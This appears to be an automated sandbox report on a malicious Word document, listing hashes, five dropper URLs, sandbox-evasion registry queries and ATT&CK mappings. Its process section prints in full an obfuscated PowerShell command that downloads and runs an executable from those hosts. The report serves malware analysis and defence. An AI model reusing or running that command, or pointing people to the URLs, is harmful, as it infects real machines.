98d32a982e82317e6e164544ad927cc3cf845e4276795e7ce6e2dc9ebb297724

General

Target

buodkffr.doc
Size

230KB
MD5

c3aaec6a39763f3584c9dcb5cd52a2bb
SHA1

5ddd7c6a1bf2d14275d05c75e7f4c1b656fdd401
SHA256

98d32a982e82317e6e164544ad927cc3cf845e4276795e7ce6e2dc9ebb297724
SHA512

8796ddf831f83f1cf0d6ebfd83bafb939835570f9f584297320d95eeaf48ed220c1128a33ca1ed994e6c92492c303b3ba6da86acd341b0b67e66f672f1b0c9e5

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://harugomnhat.mizi.vn/lfv9u/Yc31L165329/

exe.dropper

http://betmagik.com/wp-includes/e6eT18030/

exe.dropper

http://aofortunes.com/9gipx/wOOY59/

exe.dropper

http://yourman.co.uk/hWftFfZpx/uRkkm0115/

exe.dropper

https://serenitynailsfranklin.com/wp-includes/OU50007/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1468	2608	powersheLL.exe

Blocklisted process makes network request 4 IoCs

Processes:

powersheLL.exe

flow pid process

21 1468 powersheLL.exe
23 1468 powersheLL.exe
26 1468 powersheLL.exe
28 1468 powersheLL.exe

flow	pid	process
21	1468	powersheLL.exe
23	1468	powersheLL.exe
26	1468	powersheLL.exe
28	1468	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4772 WINWORD.EXE
4772 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powersheLL.exe

pid process

1468 powersheLL.exe
1468 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 1468 powersheLL.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4772 WINWORD.EXE
4772 WINWORD.EXE
4772 WINWORD.EXE
4772 WINWORD.EXE
4772 WINWORD.EXE
4772 WINWORD.EXE
4772 WINWORD.EXE

pid	process
4772	WINWORD.EXE
4772	WINWORD.EXE

pid	process
1468	powersheLL.exe
1468	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	1468	powersheLL.exe

pid	process
4772	WINWORD.EXE
4772	WINWORD.EXE
4772	WINWORD.EXE
4772	WINWORD.EXE
4772	WINWORD.EXE
4772	WINWORD.EXE
4772	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\buodkffr.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4772

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABFADYAcQA5ADkAagB2AD0AJwBHAGkAMQBoADUANQA3ACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGAAYwBVAGAAUgBpAFQAeQBQAFIAbwB0AG8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABVADEAdQBnADIAdQBkACAAPQAgACcATgBtAGQAagAnADsAJABCAHAAXwA2AGkANgBfAD0AJwBWADQAbgB6ADIAcwA4ACcAOwAkAEsAZAB2ADIAOQA1AHIAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABVADEAdQBnADIAdQBkACsAJwAuAGUAeABlACcAOwAkAEsANwB6AGYAcwBfAHMAPQAnAEMAawAwADAANQBiAHoAJwA7ACQASgBsADIAMwBvAHgAZgA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgB3AEUAYgBDAEwAaQBlAE4AVAA7ACQAUgB6AHgAMwByAG8AMAA9ACcAaAB0AHQAcABzADoALwAvAGgAYQByAHUAZwBvAG0AbgBoAGEAdAAuAG0AaQB6AGkALgB2AG4ALwBsAGYAdgA5AHUALwBZAGMAMwAxAEwAMQA2ADUAMwAyADkALwAqAGgAdAB0AHAAOgAvAC8AYgBlAHQAbQBhAGcAaQBrAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBlADYAZQBUADEAOAAwADMAMAAvACoAaAB0AHQAcAA6AC8ALwBhAG8AZgBvAHIAdAB1AG4AZQBzAC4AYwBvAG0ALwA5AGcAaQBwAHgALwB3AE8ATwBZADUAOQAvACoAaAB0AHQAcAA6AC8ALwB5AG8AdQByAG0AYQBuAC4AYwBvAC4AdQBrAC8AaABXAGYAdABGAGYAWgBwAHgALwB1AFIAawBrAG0AMAAxADEANQAvACoAaAB0AHQAcABzADoALwAvAHMAZQByAGUAbgBpAHQAeQBuAGEAaQBsAHMAZgByAGEAbgBrAGwAaQBuAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBPAFUANQAwADAAMAA3AC8AJwAuACIAUwBgAFAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABGADQAegAzADYAdgAxAD0AJwBIADUAMwBxADYAYQByACcAOwBmAG8AcgBlAGEAYwBoACgAJABHADUAagBkAGoANQA0ACAAaQBuACAAJABSAHoAeAAzAHIAbwAwACkAewB0AHIAeQB7ACQASgBsADIAMwBvAHgAZgAuACIAZABvAHcAbgBsAGAAbwBgAEEARABGAGAASQBMAGUAIgAoACQARwA1AGoAZABqADUANAAsACAAJABLAGQAdgAyADkANQByACkAOwAkAFkAcgBlAHcAcQBoADQAPQAnAFgAawAyADkANwBhADkAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABLAGQAdgAyADkANQByACkALgAiAEwARQBgAE4AZwBgAFQAaAAiACAALQBnAGUAIAAzADYAMAAxADkAKQAgAHsALgAoACcASQBuAHYAbwBrACcAKwAnAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQASwBkAHYAMgA5ADUAcgApADsAJABUAHIAOQA1AGYAdQA0AD0AJwBQADcAeQBoAGMANgBjACcAOwBiAHIAZQBhAGsAOwAkAFIAYgBtADkAYwBnAF8APQAnAFAANgB2ADYAMwBoAGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBtAGUAdQB0AHIANAA9ACcASAByADYAbQBmADcANgAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1468

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1468-139-0x000001D5A0D80000-0x000001D5A0DA2000-memory.dmp

Filesize
136KB

Download
memory/1468-140-0x00007FF8177F0000-0x00007FF8182B1000-memory.dmp

Filesize
10.8MB

Download
memory/4772-133-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/4772-130-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/4772-134-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/4772-135-0x00007FF8013C0000-0x00007FF8013D0000-memory.dmp

Filesize
64KB

Download
memory/4772-136-0x00007FF8013C0000-0x00007FF8013D0000-memory.dmp

Filesize
64KB

Download
memory/4772-137-0x00000136DF230000-0x00000136DF234000-memory.dmp

Filesize
16KB

Download
memory/4772-138-0x00000136DD011000-0x00000136DD013000-memory.dmp

Filesize
8KB

Download
memory/4772-132-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/4772-131-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/4772-142-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/4772-143-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/4772-145-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download
memory/4772-144-0x00007FF803530000-0x00007FF803540000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads